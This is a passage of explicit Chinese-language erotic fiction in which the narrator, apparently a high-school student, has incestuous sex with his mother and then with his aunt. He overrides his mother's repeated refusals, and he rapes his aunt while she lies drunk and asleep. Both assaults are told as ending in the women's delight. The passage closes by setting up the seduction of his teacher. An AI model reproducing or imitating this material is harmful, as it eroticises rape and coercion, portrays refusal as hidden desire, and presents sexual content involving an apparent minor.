她哀叫了一声,霎那间,涨痛的滋味,震得她娇躯猛颤,神情紧张,肌肉浪抖着,紧窄的小穴内嫩烫的阴壁一阵收缩,又一阵张开,子宫口的花心像袖珍型的小舌头般舔舐着我的大龟头吸吮着,让我感到无上的快意。

紧接着,她摇起丰肥的大屁股,像急转的车轮般旋个不停,我看她款款扭腰摆臀、满面春意的淫蕩模样,乐得挺着大鸡巴,握紧了雪白的大肥乳,狂抽猛插地直捣着她的花心。

干得她若拒若迎,引发她女人天生的骚浪叫道︰『哎呀……小冤家……大鸡巴……哥哥呀……唔……哎唷……好凶唷……插得……妹妹……的……小浪穴……要……要爽死……了……嗯……好……好趐……好麻……呀……好痒……喔……好丈夫……大……鸡巴……亲丈夫……用……用力……的……干吧……插死……浪妹妹……算了……喔……喔……哥呀……妹妹的……小……浪穴……真舒服……心肝……大鸡……巴……哥哥……嗯……插得……妹妹……真……真爽……喔……喔……』这骚浪的美女一阵扭腰摆臀的浪摇,两腿乱抛,淫声乱叫,舒服的娇躯急抖,淫水狂流,由大鸡巴插着的小穴里往外直流着,浸湿了软绵绵的大床。

我在她的身上尽情作乐,任意享受,大鸡巴激烈地插,疯狂地干,爽得她死去活来,匆促的喘息声丝丝作响,湿霪霪的香汗流满全身,一下子,她就洩得软绵绵地无力躺在床上,只要是她小手抓得到的床单或枕巾都被她撕得破成一条条的,可见她激浪的程度。

我尚未射精,见她这幺累了,不忍心再继续折磨她,只好把大鸡巴插在她窄紧的小穴里,享受着她穴内夹吻缩吮的滋味,打算等她歇息够了再开战。我想起和她在床上插过了穴,到现在都还没吻过这位骚媚大美女的小嘴,本想叫她脱下猫头鹰面罩让我亲吻,又想以我插得她爽趐趐的交情,她应该不会反对才是。

于是我伸出手,将她的面罩拿掉,想都没想地低头正要去吸吮她的小舌尖时,却发现不对,动作突然僵住了,整个人愣在那里。啊!这……这个被我干得死去活来的小浪穴,竟然是……是我的……妈妈!

只见她满头乌黑的秀髮披散在床上,高贵娇艳的脸上呈现满足的美态,迷人的媚眼半闭着,尚留着刚才狂欢的欲焰火花,艳红的性感嘴唇,下颚丰润肥嫩,流满香汗的趐胸还微微颤动着吶!难怪我会在她身上闻到妈妈的香水味道,难怪我会觉得她特别美丽娇艳,原来她本来就是我妈妈,从小就一直在心中偷偷爱慕着的亲生妈妈呀!我颤着声音叫道︰『妈妈……』

一霎时,本已洩得昏沉沉的她也忽然清醒了过来,呆呆地睁大媚眼,看来她还以为她的耳朵听错了,也伸手将我的面罩拿下来,一看确是我--她的亲生儿子,整个娇靥都羞红了,两人都不知道怎幺办才好?

我们这样对望了好几分钟,我还趴在她身上,大鸡巴也还插在她淫水涟涟的小穴里轻轻一抖一抖地颤着吶!

过了一会儿,她才想起这是母子乱伦的淫交,一时惊慌地想把我推下她的娇躯,因为我们的身体贴得太紧了,她没能推得动,急得她害羞地道︰『玉……玉儿……你……你竟敢……对……妈妈做……这……这种事……』

我想起刚才在大厅里是她主动来找我的,于是对她说︰『嗯!妈妈,你忘了刚才是你来对我献媚的吗?而且我真得不知道那是你呀!你主动地来要求我和你作爱,你都忘记了吗?』

妈妈听我这幺一说,想起了当时的一幕,确是她自己走过来要和我有一腿的,想通的同时,她也羞愧得满脸红晕,此时的她真不敢相信己怎会这幺淫蕩,竟然在丈夫还活着的婚姻生活中到外面偷人,而且偷到的还是自己儿子的大鸡巴!如果此事传扬开去,往后教她怎幺做人呢?又教她怎幺来面对她儿子的我呢?

于是她又用羞愧难当的声音对我道︰『玉儿……这件事……是……妈妈错……了……我……我们就……到此为止吧……你别……嗯……别说出去呀……现在……你……出去吧……让妈妈……自己……一个人……静一静……好吗……』

我一见她羞红的样子,别有一番娇媚的美态,激情地把妈妈的娇躯紧紧地抱在怀里,嘴巴也不规矩地在她脸颊和粉颈上亲吻了起来。妈妈此刻就像哑巴吃黄莲一般,自己理亏又不敢大声叫喊,怕别人知道我们母子乱伦的事,但是母亲的尊严,又让她不想继续和我乱伦下去,小嘴里挣扎地道︰『哎……哎呀……不……不行呀……你不能……对我这……这样……我……我是你……妈妈……呀……让别人……知道……了……叫妈妈……以后……怎……怎幺做人……哎……哎唷……不行……你……不……不能……喔……喔……不可以……呀……不能这样……的……妈妈……不让你……』

她已经慌得语无伦次地叫着辞意不达的片段词语,可怜的妈妈,一直挣扎着想要脱出我的怀抱,但是像她这幺娇媚的女人又怎能抵抗得了我正值青壮的力量,始终无法离开我的掌握。

她又继续叫着︰『哎……哎呀……玉儿……不……行……不能……纸是……包不住火的……你……就饶了……妈妈……吧……我……我们……不能……再……再作爱了……求求你……妈妈……在……在求你了……』

我边抱着她丰满肥嫩的娇躯道︰『妈妈!反正你的小穴都被我的大鸡巴干过了,有什幺我们不能做的事?只要你跟我密秘的在床上作爱,我当然不会傻得把这种很不名誉的事讲出去,好啦!妈妈,我们就再来干一次嘛!我刚才不是干得你很爽吗?』

我这时正是慾火如焚的当头,根本听不进去她的哀求声,只想把大鸡巴再插进她的小穴里销魂一次,但是妈妈还是神智清醒地左右摇摆着肥美的大屁股,让我的大鸡巴对不准她的洞口,只能在她浪水霪霪的小肉穴边磨来磨去。妈妈因为爸爸已经很久没有回家插她的小穴了,虽然刚才被我插得洩了几次身子,但空虚太久的小浪穴还是急着想被大鸡巴插干才能压下她的慾火,造成她的理智和肉体两种截然不同的反应,嘴里拚命地说着不要,小穴里却一直流着骚浪的淫水,尤其当我的大龟头磨到她的阴核上时,又让她骚痒得娇躯扭来扭去。

我在她的挣动中看见妈妈那对丰满的美乳在她胸前摇来晃去,乳浪翻飞里,真是淫媚极了,连忙趴着去吸吮起那对雪白丰肥的玉乳。尝过我大鸡巴甜头的妈妈怎能挡得住我这强烈的挑情动作所带给她的刺激,她已经渐渐迷失了神智,但是她的矜持和羞耻还是让她像徵性地挣扎着,小嘴里叫着︰『喔……玉……玉儿……不……不要……妈妈求你……不要……这样……不要嘛……求……求求你……不可以……的……妈妈……拜託你……不……不要……这样嘛……喔……喔……』

她的嘴里虽然说着不要,可是骚痒难耐的小穴已使她主动地将大屁股一直往上挺动,两条玉腿也叉得更开,好像希望我的大鸡巴赶快插进她的小穴里。

我见已将妈妈挑逗得浑身骚痒难受,挣动的力量也微弱了下来,就配合着她大屁股上挺的动作,大龟头撑开妈妈的阴唇,把大鸡巴插进了妈妈的小穴里了。

当我的大鸡巴干进了妈妈的小穴时,她已经爽得哼着道︰『哎呀……喔……喔…………你不……不能干……妈妈……的……小穴……哎唷……哎……哎呀……你真……真得……插进去……了……喔……不行……不行呀……啊……喔……大……大鸡巴……整根……插……插进……妈妈……的……小穴里……了……哎唷……不……你……不能插……妈妈……这样……叫我……怎……幺做人……哎……哎唷……不要……嘛……你……不要……干……妈妈……嘛……哎呀……』

妈妈的嘴里叫我不能插她的小穴,可是看样子她的大屁股挺动的速度却比我抽送还要快,她不时将我的大鸡巴深深咬进她的穴心里,辗磨着肥臀让大龟头揉着她的花心转,双手也伸上来将我抱得紧紧的,并主动地献上她的香吻,让我吸吮着她的香舌。

妈妈这种闷骚的表现,让我爽快得加大了力气用大鸡巴狠着她的小穴,这时妈妈的全身像烈火烧着一般,不停地颤抖着,她也努力地挺着、扭着、摇着、筛着她的大屁股,紧紧地拥抱着我,骚媚地叫道︰『哎呀……玉儿……呀……妈妈的……大鸡巴……亲……哥哥……哎唷……妈妈……的……小穴……让你干……麻了……嗯……嗯哼……妈妈……舒服……透……了……哎哟……哎……哎呀……妈妈……快……美死了……喔……喔……美……美死了……哎……喔……哥呀……妈妈……的……小丈夫……大鸡巴……干得……妈妈好……爽……好舒服……呀……哎唷……大鸡……巴……哥哥……插……插死……妈妈……了呀……喔……喔……』

妈妈疯狂地大叫着,这时她也不怕别人听到我们母子乱伦的丑事,那骚浪淫媚的样子像是乐到了极点,而我是越插越兴奋,妈妈的小穴比梅子姐和丽珍妹妹的两只小骚穴插起来更紧、更暖、更舒畅,或许这是母子乱伦的刺激让我更爱妈妈的小浪穴吧!

妈妈急急地问道︰『哎……你真的……急死人了……不要……整妈妈了……快插进来……嘛……再干…妈妈的小穴……再说嘛……喔……好嘛……好嘛……什幺条件……妈妈……答应就是…了……真是……急死人了……喔……喔……』

我道︰『妈妈!我的条件是以后还要再干你的小穴,既然我们有了肉体关係,就让儿子来安慰你的小穴嘛!』

妈妈羞得不好意思地道︰『嗯……这……这怎幺……可……可以……妈妈……是有……丈夫的……女人……吶……妈妈的……丈夫……还是……你的……爸爸呢……怎……怎幺……可以……和……和你……』

我威胁她道︰『好吧!妈妈,这是你的说法喔!既然这样,我不插你了,我要走了。』

我假装要离开的样子,急得她玉手紧抱住我,像是怕我不插她了,娇艳的她献媚地道︰『哎呀……妈妈……不好意思……答应你嘛……你……坏死了啦……你……你的……大鸡巴……把……妈妈……插得死去……活来……妈妈……不能……没有你的……大鸡巴……了……妈妈爱……死……你的……大鸡巴……了…你是妈妈的亲亲小丈夫…嗯……嗯哼……好嘛……好嘛……但……但是……你要……把……这件事……保密呀……不能……让任何人……知道……喔……你……答应妈妈……嗯……妈妈就……继续……和……和你……插……插穴……好吗……』

我答应了她的要求,她也答应了我能再继续插她的小穴,我们两个交换条件,皆大欢喜的母子,继续刚才那场情慾奔放的大战。

这次我要妈妈趴跪在床上,想从她大屁股后面干她的小穴,妈妈柔顺地照我的吩咐做了,并且将跪着的两只玉腿分开,让我从她的屁股沟后面能看到她的小穴,方便我大鸡巴的干进。

我趴在妈妈的背上,伸手在她晃动不已的乳房上揉捏紧搓着,听着妈妈骚媚淫浪的叫床声,婉啭娇啼地承迎着我的插干,大鸡巴传来一阵阵舒爽的快感,终于在她洩了三、四次身子后,伏在她的大屁股上,大鸡巴紧紧地插在小穴心里,射出了一阵又一阵的浓精,美的妈妈淫叫不已:『好美啊,爽死了……妈妈的好儿子……浪妹妹的亲哥哥……。大骚妇的小丈夫……好烫的精液……。妈妈会怀孕的……就让人家给……小丈夫生个胖儿子吧……。』两个人都丢的舒舒爽爽的,也累得迷迷糊糊地昏睡了过去,也没有力气再去清理善后了。

也不知睡了多久,还是我最先醒了过来,发觉还压在妈妈那身欺霜赛雪的娇躯上,大鸡巴插在妈妈的小肥穴里,虽然已经软了下来,但还是被她的小穴嫩肉紧紧夹住。我温柔地吻了吻妈妈的小嘴,把她吻醒了,一股羞怯和甜蜜的表情充溢在她的娇靥,刚才那阵缠绵缱绻的性爱大战,已经突破了我们母子之间的藩篱,这种婚姻之外偷情的滋味让妈妈永难忘怀,比起爸爸那三分钟热度的速战速决,更坚定妈妈暗暗做我地下情妇的决心。

我意犹未尽地抚揉着妈妈的丰满肥乳,捏捏她的奶头,妈妈也甘心情愿地把她的小香舌吐进我的嘴里让我吸吮,两人的手在对方的身上互相探索着,双舌翻腾搅动,唾液互流,真是人间一大乐事,快意至极。

「妈妈,我爱你,你真是人间第一尤物,从今天起,你就是我的女人了。」我拥着妈妈,双手使劲揉着她那肥美圆滚的大屁股。

「哦……我也爱你……我的……好儿子……哦……我的亲哥哥……妈妈的小丈夫……人家以后就是你的亲妹妹……就是你的亲老婆啊……你可不要抛弃人家啊……。」妈妈娇羞地哼着。

「我叫你凤姐姐,好吗?」我亲着妈妈羞红的俏脸。

「不嘛,人家才不要你叫人家姐姐呢,你要叫人家妹妹嘛,人家是我玉哥哥的亲妹妹嘛……。」说着,妈妈满面娇羞地把羞红地俏脸埋在我的怀中。

「我的好凤妹妹,以后你就是哥哥的亲亲小老婆了,我要天天用大鸡巴干你的小骚洞洞,好不好?」

「你坏嘛……。」妈妈娇声嗲气,紧紧搂抱我,再次献上她热情火辣的热吻。

姨妈田美凤今年36了,已守寡5年,生了两个孩子,但依旧美丽动人,气质高雅,成熟艳丽。我已下决心,不但要娶她做我的老婆,还要她给我生几个儿子。

昨天晚上,我陪姨妈去喝喜酒。回来时已经很晚了。姨妈喝得很醉,娇柔无力地伏在我身上,由我扶着走进房间。姨妈全身的香气加上酒味好像催情药般使我的慾火疯狂燃烧。

我小心翼翼地褪去姨妈的礼服,全身丰盈雪白的肉体只留下那黑色半透明,镶着蕾丝的奶罩与三角裤,黑白对比分明,胸前两颗酥乳丰满得几乎要覆盖不住,我吞嚥一口贪婪口水,用手爱抚着酥胸,摸着捏着十分柔软,富有弹性的两团肉球,趁着姨妈酣睡未醒,轻柔地褪下了她那黑色的三点式小裤衩,姨妈就此被剥个精光,横陈在床浑然不知,赤裸裸的她凹凸有致,曲线美得像水晶般玲珑剔透,那绯红的娇嫩脸蛋、小巧微翘的香唇,丰盈雪白的肌肤、肥嫩饱满的乳房、红晕鲜嫩的小奶头、白嫩圆滑的肥臀,美腿浑圆光滑得有线条,那凸起的耻丘和浓黑的阴毛是无比的魅惑。

姨妈浑身的冰肌玉肤令我看得慾火亢奋,无法抗拒!我轻轻爱抚姨妈那赤裸的胴体,从姨妈身上散发出阵阵的肉香、淡淡的酒香,我抚摸着她的秀髮、嫩软的小耳、桃红的粉额,双手放肆的轻撩,游移在姨妈那对白嫩高挺、丰硕柔软的浑圆大乳房上,并揉捏着像红豆般细小可爱的乳头,不久敏感的乳头变得膨胀突起,我将姨妈那双雪白浑圆的玉腿向外伸张,乌黑浓密、茂盛如林的三角丛林中央凸现一道肉缝,穴口微张,两片阴唇鲜红如嫩。我伏身用舌尖舔着吮着那花生米粒般的阴核,更不时将舌尖深入小穴舔吸着。

「嗯…哼…啊…啊…」生理的自然反应,使得酣醉未醒的姨妈不由自主的发出阵阵呻吟声,小穴泌出湿润的淫水,使得我慾火高涨、兴奋异常,左手拨开姨妈那两片鲜嫩的阴唇,右手握住粗巨的大鸡巴,对準了姨妈那湿润的肥穴嫩逼,臀部猛然挺入,「滋!…」偌大的硬鸡巴全根尽没小穴。

这用力一插,使得酣睡中的姨妈倏然惊醒睁开双眼,发现自己竟一丝不挂的被光溜溜的外甥压住,那下体充实的感觉,让她发觉自己被外甥姦淫了,姨妈顿时醉意全消、惶恐惊骇:「玉儿…你、你干什幺……不要……不可以啊……」

姨妈颤抖得大冒冷汗,双手猛推我,她的一双凤眼急得淌下了眼泪:「呜……不、不能啊……你不能这样的……我、我是你的姨妈呀……玉儿你不可以乱来……」

我惶恐哀怨的乞求着:「心爱的姨妈……你实在太、太美了……美得让我爱上了你………」

「啊………不要………你怎能对我这样呢………你放开我………」我抽送着大鸡巴:「我爱阿姨你…。我要享受你美丽的肉体…。」

「哎哟。…玉儿,你疯了…。这、是乱伦呀…。」姨妈肥臀不安地扭动着、挣扎着:「不要啊……你怎幺可以对阿姨乱来……你、你不可以……」我一边用巨大鸡巴抽插着,一边在姨妈的耳根旁尽说些猥亵挑逗的言词。

「阿姨……我、我会让你舒服的……你以后不要用假鸡巴了……我要让你重温做爱的快乐……」假鸡巴的秘密竟被我发现了,姨妈立时自觉惭羞得满脸通红,在我眼里显得妩媚迷人,反而更加深我佔有姨妈胴体的野心,加把劲的九浅一深把粗又长鸡巴往肉紧的小穴来回狂抽猛插,插得久旱的姨妈阵阵快感从肥穴嫩逼传遍全身、舒爽无比,狂热的抽插竟引爆出她那久未挨插的小穴所深藏的春心欲焰,正值狼虎之年的姨妈完全崩溃了,淫蕩春心迅速侵蚀了她,那久旷寂寞的小穴怎受得了那真枪实弹的大鸡巴狂野的抽插,虽是被我姦淫佔有了,但她身体生理起了涟漪,理智渐形沦没,它抵抗不了体内狂热慾火的燃烧,淫慾快感冉冉燃升而起,刺激和紧张冲击着她全身细胞,姨妈感受到小穴内的充实,敏感的阴核频频被碰触使她快感昇华到高峰。

「啊……喔……」姨妈发出呻吟声娇躯阵阵颤抖,她无法再抗拒了。

姨妈誓为老公守寡,未曾和别的男人有着亲密交往,不料守身数年的她,竟然在家里空旷的闺房中被亲外甥姦淫了,膨胀发烫的大鸡巴在姨妈小穴里来回抽插,那充实温暖的感觉使她不由得亢奋得慾火焚身,有生以来第一次被其他的男人玩弄,这般不同官能刺激却使她兴奋中带有羞惭,姨妈眼神里似乎含着几许怨尤,怨疚的是婚宴上眼见他人新婚欢笑,相较之下深确感到自己孤独凄凉,触景伤情不禁多喝几杯,藉酒消愁,不料却误了自己的清白。

激发的慾火使她那小穴如获至宝,肉紧地一张一合的吸吮着龟头,姨妈久未挨插,那小穴窄如处女,我乐得不禁大叫:「喔……美阿姨……你的小穴好紧……夹得我好爽啊……」

大鸡巴犀利的攻势,使姨妈舒畅得呼吸急促,双手环抱住我,她的肥臀上下扭动,迎挺着我的抽插,粉脸霞红羞涩地娇歎:「唉………你色胆包天………你竟敢姦淫了姨妈………我一生名节被你全毁了………唉………你好狠啊………」

「阿姨……生米已煮成熟饭……你和我都结合一体了……就别歎气嘛……美阿姨……我会永远爱着你……」我安慰着,用火烫的双唇吮吻姨妈的粉脸、香颈使她感到阵阵的酥痒,我乘胜追击,凑向姨妈呵气如兰的小嘴亲吻着。

我陶醉的吮吸着姨妈的香舌,大鸡巴仍不时抽插着姨妈的小穴,插得她娇体轻颤欲仙欲死,原始肉慾战胜了理智伦理,长期独守空闺的她沈浸于我勇猛的进攻。半响后才挣脱了我的激情的唇吻,不胜娇羞、粉脸通红、媚眼微闭轻柔的娇呼道:「唉……守身如玉的身子被你姦淫了……失去了贞节的我……随你便了…。」

我一听知道姨妈动了春心,乐得卖力的抽插,抛弃了羞耻心的姨妈,感觉到她那肥穴嫩逼深处就像虫爬蚁咬似的,又难受又舒服,说不出的快感在全身蕩漾盘旋着,她那肥美香臀竟随着我的抽插不停地挺着、迎着,我九浅一深或九深一浅、忽左忽右地猛插着,点燃的情焰促使姨妈暴露风骚淫蕩本能,她浪吟娇哼、朱口微启频频发出消魂的叫春:「喔喔……小色狼……我太爽了……好、好舒服……小穴受不了了……玉儿……你好神勇……啊……」

强忍的欢愉终于转为冶蕩的欢叫,春意燎燃、芳心迷乱的她已再无法矜持,颤声浪哼不已:「嗯………唔………啊……妙极了……玉儿……你再、再用力点……] 

「叫我亲哥哥…我才用力干你…」

「哼………我才不要………我是你姨妈……怎可以叫你亲、亲哥哥的……你太、太过分啊……」

「叫亲哥哥……不然我不玩穴了……」我故意停止抽动大鸡巴,害得姨妈急得粉脸涨红:「啊……真羞死人……亲、亲哥哥……玉儿……我的亲哥哥…我的亲丈夫…」

我闻言大乐,连番用力抽插坚硬如铁的鸡巴,粗大的鸡巴在姨妈那已被淫水湿润的小穴如入无人之地抽送着。

「喔、喔……亲、亲哥哥……美死我了……用力插……啊………哼…美……妙极了………嗯、哼………」姨妈瞇住含春的媚眼,激动的将雪白的脖子向后仰去,频频从小嘴发出甜美诱人的叫床声,她空旷已久的小穴在白玉粗大的鸡巴勇猛的冲刺下连呼快活,已把贞节之事抛向九宵云外,脑海里只充满着鱼水之欢的喜悦。我的大鸡巴被姨妈又窄又紧的小穴夹得舒畅无比,改用旋磨方式扭动臀部,使大鸡巴在姨妈肥穴嫩逼里盘旋。

「喔…………亲、亲哥哥……姨妈被你插得好舒服……」姨妈的小穴被我的又烫,又硬、又粗,又大的鸡巴磨得舒服无比,暴露出淫蕩的本性,顾不得羞耻,舒爽得呻吟浪叫着,她兴奋得双手紧紧搂住我,高抬的双脚紧紧勾住我的腰身,肥臀拚命的上下扭挺以迎合大鸡巴的研磨,姨妈已陶醉在我年少健壮的精力中。

姨妈已舒畅得忘了她是被晚辈姦淫的而把我当作是爱人!浪声滋滋、满床春色,小穴深深套住鸡巴,如此的紧密旋磨是她过去做爱时不曾享受过的快感,姨妈被插得娇喘吁吁、香汗淋淋、媚眼微闭、姣美的粉脸上显现出性满足的欢悦:「哎……白玉……姨妈好爽……亲哥哥你、你可真行……喔喔……受不了啊!………喔………哎哟!………你的东西太、太大了………」

姨妈浪蕩淫狎的呻吟声从她那性感诱惑的艳红小嘴巴频频发出,湿淋淋的淫水不断向外溢出沾湿了床单,俩人双双恣淫在肉慾的激情中!我嘴角溢着欢愉的淫笑:「心爱的阿姨……你满意吗……你痛快吗……」

「嗯嗯……你真行啊……喔……姨妈太、太爽了……唉唷…。」

姨妈被我挑逗得心跳加剧、血液急循、慾火猛烧身、淫水横流,她哪耐得,娇躯颤抖、呻吟不断。我促狭追问说:「美阿姨,刚才你说………什幺太大呢………」

「讨厌!你欺负我………你明知故问的……是你、你的鸡巴太、太大了啦……」美姨妈不胜娇羞,闭上媚眼细语轻声说着,除了老公外从没对男人说这样淫猥的性话,这使得成熟的姨妈深感呼吸急促、芳心蕩漾。我存心让端庄贤淑的姨妈由口中说出性器的淫邪俗语,以促使她抛弃羞耻心完全享受男女交欢的乐趣:「阿姨你说哪里爽……」

「羞死啦……你就会欺负我……就是下、下面爽啦……」

姨妈娇喘急促,我却装傻如故:「下面什幺爽………说出来吧………不然亲哥哥可不玩啦………」

姨妈又羞又急:「是下、下面的小穴好、好爽……好舒服嘛……」姨妈羞红俏脸,呻吟着,我却得寸进尺:「说来我听……阿姨你现在干嘛呢……」

「唉唷……羞死人……」性器的结合更深,红涨的巨大龟头不停地在小穴里探索冲刺,粗大鸡巴碰触阴核产生更强烈的快感,姨妈红着脸扭动肥臀:「我、我和玉儿做爱………我的小穴被玉儿插得好舒………姨妈是淫乱好色的女人………我、我喜欢玉儿你的大鸡巴……」

姨妈舒畅得语无伦次,简直变成了春情蕩漾的淫妇蕩女,她不再矜持,放浪去迎接我的抽插,从有教养高雅气质的姨妈口里说出淫邪的浪语,已表现出女人的屈服,我姿意的把玩爱抚姨妈那两颗丰盈柔软的肥腴美乳,她的乳房更愈形坚挺。

我用嘴唇吮着轻轻拉拔,娇嫩的奶头被刺激得耸立如豆,浑身上下享受那百般的挑逗,使得姨妈呻吟不已,淫蕩浪媚的狂呼、全身颤抖浇动、淫水不绝而出,娇美的粉脸更洋溢着盎然春情,媚眼微张显得娇媚无比:「哎哟!………好舒服………拜託你抱紧我………亲哥哥………啊啊………」

淫猥的娇啼声露出无限的爱意,姨妈已无条件的将贞操奉献给了我。我知道娇艳的姨妈已经陷入性饥渴的颠峰高潮,尤其像她那成熟透顶的而又守寡多年的肉体,此时如不给姨妈美妙的享受,而使姨妈满足,否则恐是无法博取她日后的欢心,随即翻身下床将姨妈的娇躯往床边一拉,此时姨妈的媚眼瞄见我胯下那根兀立着,红得发紫的大肉肠,直径四公分多粗就如奥力多瓶,近二十公分长的鸡巴,一个巨大犹如鸡蛋的红色龟头浑圆滑亮,看得姨妈芳心一照震,暗想真是一根雄伟粗长的大鸡巴!

我拿了枕头垫在姨妈光滑浑圆的大肥臀之下,使她那撮乌黑亮丽阴毛覆盖的耻丘显得高突上挺,我站立在床边分开姨妈修长白嫩的双腿,用大龟头对着姨妈那细如小径红润又湿润的肉缝逗弄着,姨妈被逗弄得肥白臀部不停的往上挺凑着,两片阴唇像似鲤鱼嘴般张合着似乎迫不及地寻觅食物:「喔……求求你别再逗我啦……亲哥哥……亲丈夫…我要大鸡巴………拜託你快插进来吧……」

我想是时候了,猛力一挺、全根插入,施展出令女人欢悦无比的老汉推车绝技,拚命前后抽插着,大鸡巴塞得小穴满满的,抽插之间更是下下见底,插得艳丽的姨妈浑身酥麻、舒畅无比。

「卜滋!卜滋!」男女性器官撞击之声不绝于耳。姨妈如癡如醉,舒服得把个肥美的大臀抬高,前后扭摆以迎合我勇猛狠命的抽插,她已陷淫乱的激情中,是无限的舒爽、无限的喜悦。

「哎哟……玉儿……亲亲哥哥……好舒服……哼……好棒啊……姨妈好久没这幺爽快……随便你怎幺插……我都无所谓……喔………我的人………我的心都给你啦……喔…你是人家的……亲哥哥……亲丈夫……爽死我啦…人家爱死你了……」姨妈失魂般的娇嗲喘歎,粉脸频摆、媚眼如丝、秀髮飞舞、香汗淋淋慾火点燃的情焰,促使她表露出风骚淫蕩的媚态,脑海里已没有老公的行照形影,现在的她完全沈溺在性爱的快感中,无论身心完全被我所征服了。

她心花怒放、如癡如醉、急促娇啼,姨妈骚浪十足的狂吶,往昔端庄贤淑的贵夫人风範不复存在,此刻她骚浪得有如发情的母狗!我得意地将大鸡巴狠狠的抽插。姨妈双眉紧蹙:「喔喔……亲哥哥啊……。亲汉子啊……爽死啦……舒服……好舒服……我要丢、丢了…。」

姨妈娇嗲如呢,极端的快感使她魂飞神散,一股浓热的淫水从小穴急抖而出。小穴出淫水后依然紧紧套着粗大钢硬的鸡巴,使我差点控制不住精门,为了彻底赢取姨妈芳心,我抑制住射精的冲动,把姨妈抱起后翻转她的胴体,要她四肢屈跪床上,姨妈依顺的高高翘起那如白瓷般发出光泽而丰硕浑圆的大肥臀,臀下狭长细小的肉沟暴露无遗,穴口湿淋的淫水使赤红的阴唇闪着晶莹亮光,姨妈回头一瞥迷人的双眸,妩媚万状的凝望着我:「你、你想怎样……」我跪在她的背后,用双手轻抚着她的肥臀:「好美的大屁股啊!」

「哎呀!」娇哼一声,姨妈手抓床单柳眉一皱,原来我双手搭在她的肥屁股上,将下半身用力一挺,比鸡蛋粗的肉柱从臀后一举插入她性感的肉沟,我整个人俯在雪白白的美背上,顶撞地抽送着大鸡巴,这般姿势使姨妈想起俩人岂不正像在街头上发情交媾的狗?是老公从来没有玩过的花样,年少的我不仅鸡巴粗大傲人,而且性技也是花样百出,这番狗交式的做爱使得姨妈别有一番感受,不禁慾火更加热炽。姨妈纵情淫蕩地前后扭晃肥圆臀迎合着,美艳胴体不停前后摆动,使得两颗丰硕肥大的乳房前后晃动着甚为壮观,我左手伸前捏揉着姨妈晃动不已的硕大乳房,右手抚摸着她白晰细嫩、柔软有肉的肥屁股,我向前用力挺刺。

她则竭力往后扭摆迎合!成熟美艳的姨妈初尝狗式的交媾,兴奋得四肢百骸,悸动不已,使得她春情激昂、淫水直冒,大鸡巴在肥臀后面顶得姨妈的穴心阵阵酥麻,快活透顶,她艳红的樱桃小嘴频频发出令男人销魂不已的娇啼声,「卜滋!卜滋!」的插穴声更是清脆响亮,肉体如胶似漆的结合真是名附其实的狗男女。

「喔………好舒服………爽死我了……会玩穴的亲、亲哥哥……亲丈夫……姨妈被你插得好舒服………哎哟………喔喔………」

她欢悦无比急促娇喘着:「玉儿……我受不了啦……好勇猛的鸡巴……美死了……好爽快……姨妈又要丢了……」她激动的大声叫嚷,毫不在乎自己的淫蕩声是否传到房外,光滑雪白的胴体加速前后狂摆,一身布满晶亮的汗珠。我得意地不容姨妈告饶,鸡巴更用力的抽插,所带来的刺激竟一波波将姨妈的情慾推向高潮尖峰,浑身酥麻、欲仙欲死,小穴口两片嫩细的阴唇随着鸡巴的抽插翻进翻出,她舒畅得全身痉挛,小穴里涌出大量热乎乎的淫水,烫得我龟头一阵酥麻,姨妈星目微张地在唇角上露出了满足的微笑,我感受到姨妈的小穴正收缩紧吸吮着鸡巴。

我快速抽送着,终于也把持不住叫道:「美阿姨………好爽喔………你的小穴………吸得我好舒服………我也要了……」身后的姨妈拚命抬挺肥臀迎合我的最后的冲刺,快感来临剎那,我全身一畅,精门大开,滚烫的精液卜卜狂喷注满小穴,姨妈的穴内深深感受到这股强劲的热流。

「喔、喔……实在太爽了…让妹妹给亲丈夫……生个大胖儿子吧…」姨妈如癡如醉的喘息着俯在床上,我则倒在她的美背上,小穴深处有如久旱的田地骤逢雨水的灌溉,激情淫乱的苟合后汗珠涔涔的我们俩人,满足地相拥酣睡而去。不知睡过多久,姨妈悠悠醒来,但见床单上湿湿濡一片,回想起刚才缠绵缱绻的交欢,真是无比的舒服爽快,有股令人留恋难忘的甜蜜感。想不到玉儿床技高超、花招出,若非他色胆包天,趁她醉卧床上予以姦淫,使她得以重温享受无比激情、放蕩的性爱滋味,否则她这下半辈,可能凄凉空虚的活在世上。

姨妈轻搂着我又亲又吻,并用丰腴性感的娇躯紧贴着我,我被姨妈一阵拥吻、爱抚而醒,也热情地吮吻姨妈的雪白粉颊、香唇,双手频频在姨妈光滑赤裸的胴体乱摸乱揉,弄得她搔痒不已。「美阿姨,你舒服吗……满意吗……」

姨妈羞怯低声地说:「嗯……你可真厉害……姨妈真要被你玩死啦…」

「美阿姨……你做我的太太嘛……我会给你爽歪歪的……」姨妈更羞得粉脸绯红:「哼……真脸皮厚……谁是你的太太……不要脸……唉……姨妈都被你玩了……那以后………就全看你的良心……」

「………阿姨你放心………我会好好爱你的………喔………你刚刚不是如癡如醉的喊我亲丈夫吗……还说给我生个胖儿吗?…」姨妈闻言,粉脸羞红的闭住媚眼,不敢正视我,她上身撒娇似的扭动:「讨厌!你、你还真会糗人……姨妈受不了你才脱口而叫嘛……你、你坏死啦…人家又不是你老婆…怎幺给你生儿子嘛……。」

姨妈娇嗲后紧紧搂抱着我,再次献上她热情火辣的热吻。姨妈的身心被我撤底征服了,我那粗大的鸡巴与旺盛的性能力让她欲仙欲死,她的精神与肉体恢复了春天般的生机,姨妈开始沉迷于肉慾的快感里,久旷的她第一次体会到禁忌的情慾竟是如此甜美,姨妈再也捨不得我了。

 

三‧老师 花玉露

花玉露,三十五岁,于十年前嫁为人妻,是全校一致公认的校花,面貌姣好、三围均匀,生得肌肤雪白、美艳媚人,她在我们高中任教,是全校最美丽的老师,浑身散发出一种成熟妩媚的高雅气质的!走起路来,浑圆肥美的大屁股左右摇摆着,这般妖媚倩影不知迷惑多少男人有色的目光。

她老公被派驻海外,难得夫妻相聚,留下她孤守香闺,强忍两地相思之苦,守身如玉。

为人师长的她万万没想到,在某次家访竟被学生姦淫成为不贞的淫妇。好色的我虽然在夜晚里有成熟妩媚的妈妈,姨妈和梅子母女共枕相陪,随时享受男欢女爱的乐趣,但食髓知味的我对性已产生诸多的渴望,不时注意周围有否成熟性感的女人,想勾引到手。

